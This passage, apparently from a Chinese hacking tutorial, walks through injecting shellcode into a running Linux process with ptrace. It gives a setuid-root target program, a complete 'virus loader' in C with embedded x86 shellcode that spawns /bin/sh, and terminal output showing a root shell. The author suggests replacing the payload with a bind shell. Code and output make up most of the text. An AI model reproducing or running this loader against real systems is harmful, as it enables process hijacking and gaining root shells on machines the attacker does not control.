[+]----------------------------------------( B )-----------------------------------------[+]
===>[ 0x03: 注入代码.. ]
这个注入代码并非困难;如果你要做到这一点,就必须仔细阅读代码。
这里我们有以下simple.c(跟踪进程):
#include <stdio.h>
#include <stdlib.h>
int main() {
char buf[1024];
scanf("%s", buf);
printf("-> %s\n", buf);
}
$ gcc simple.c -o simple
# chmod u+s simple
(.) 输出:
$ ./simple
Hi
-> Hi
$
现在它是我们的病毒代码了:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <linux/ptrace.h>
// shellcode "grepped" from internet (获得你特有的shellcode,
// 例如一个bind shell)
char virus_payload[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
//inject函数原型
int inject(pid_t pid, long memaddr, void *buf, int buflen);
int main(int argc, char *argv[]) {
pid_t pid; //我们已经感染pid控制的ELF
struct user_regs_struct regs; //CPU寄存器
long address; //放置病毒的有效载荷
if (argc < 2) {
printf("usage: %s <ELF-pid>\n", argv[0]);
return -1;
}
pid = atoi(argv[1]);
//附加到pid
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
perror("ATTACH");
return -1;
}
// 等待.. (所附加的ELF是child)
int status = 0;
wait(&status);
printf("[+] %d ATTACHED\n", pid);
//获取CPU寄存器并把它放置在我们的结构规则中
//我们将很快用到它
if (ptrace(PTRACE_GETREGS, pid, ®s, ®s) < 0) {
perror("GETREGS");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
//计算处理
//病毒的有效载荷(我将放入ESP - 1024)
printf("[+] Calculating the address of our payload\n");
address = regs.esp - 1024;
printf("[+] Virus Payload at address: 0x%.8x\n", address);
//inject 函数引用..(见下面内容)
if (inject(pid, address, virus_payload, sizeof(virus_payload) - 1) < 0) {
return -1;
}
//EIP 现在指向到病毒的有效载荷
regs.eip = address + 2;
printf("[+] EIP points to virus payload at address: 0x%.8x\n", regs.eip);
//它的时间设定EIP并让它指向到我们的病毒有效载荷
if (ptrace(PTRACE_SETREGS, pid, ®s, ®s) < 0) {
perror("SETREGS");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
ptrace(PTRACE_DETACH, pid, NULL, NULL);
printf("[+] Shell Spawned !!\n");
return 0;
}
// 注入功能
int inject(pid_t pid, long addr, void *virus, int len) {
long payload;
int i = 0;
//复制定都的有效载荷送入地址记忆体(esp - 1024)
while (i < len) {
memcpy(&payload, virus, 4);
//插入有效载荷送入内存
if (ptrace(PTRACE_POKETEXT, pid, addr, payload) < 0 ) {
perror("Inject()");
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return -1;
}
addr += 4;
virus += 4;
i += 4;
}
return 0;
}
让我们试试吧。。。
--- [ Shell 1 ] ---
$ ls -al simple
-rwsr-xr-x 1 root root 8148 2008-10-21 14:45 simple*
[suid bit ACTIVATED]
$ ./simple
sh-3.1# id
uid=0(root) gid=100(users) groups=11(floppy),17(audio),18(video),19(cdrom),100(users)
sh-3.1#
--- [ Shell 2 ] ---
# ps -A | grep simple
4779 pts/3 00:00:00 simple
# ./virus_loader 4779
[+] 4779 ATTACHED
[+] Calculating the address of our payload
[+] Virus Payload at address: 0xbfb2fe08
[+] EIP points to virus payload at address: 0xbfb2fe0a
[+] Shell Spawned !!
#
这是一个简单的例子;你也可以添加自己的shellcode(如bind shell)并再次控制ELF。
[-]--------------------------------------------------------------------------------------[-]
===>[ 0x04: 相关信息 ]
- 为什么使用ptrace?我认为很简单;如果你是root,你可以(没有LKM)修改syscall,在运行过程中注入你自己的代码并且更多。。。
ptrace()也被调试跟踪syscall,设置断点等。
- 能否同一个进程跟踪两次?
No,这是不可能的;因为如果你看看这儿:
/usr/src/linux-***/arch/i386/kernel/ptrace.c
你会发现:
if (!(current->ptrace & PT_PTRACED))
goto out; <- GOTO OUT!!!
[-]--------------------------------------------------------------------------------------[-]
===>[ 0x05: 尾声 ]
到这里我的文章已经结束,如果您有意见、问题或其他... 就“HacK01[at]Live{dot}Cn” !
如果您发现一些错误,请告诉我,我会尽快更新!
[\]--------------------------------------[ END ]-----------------------------------------[/]
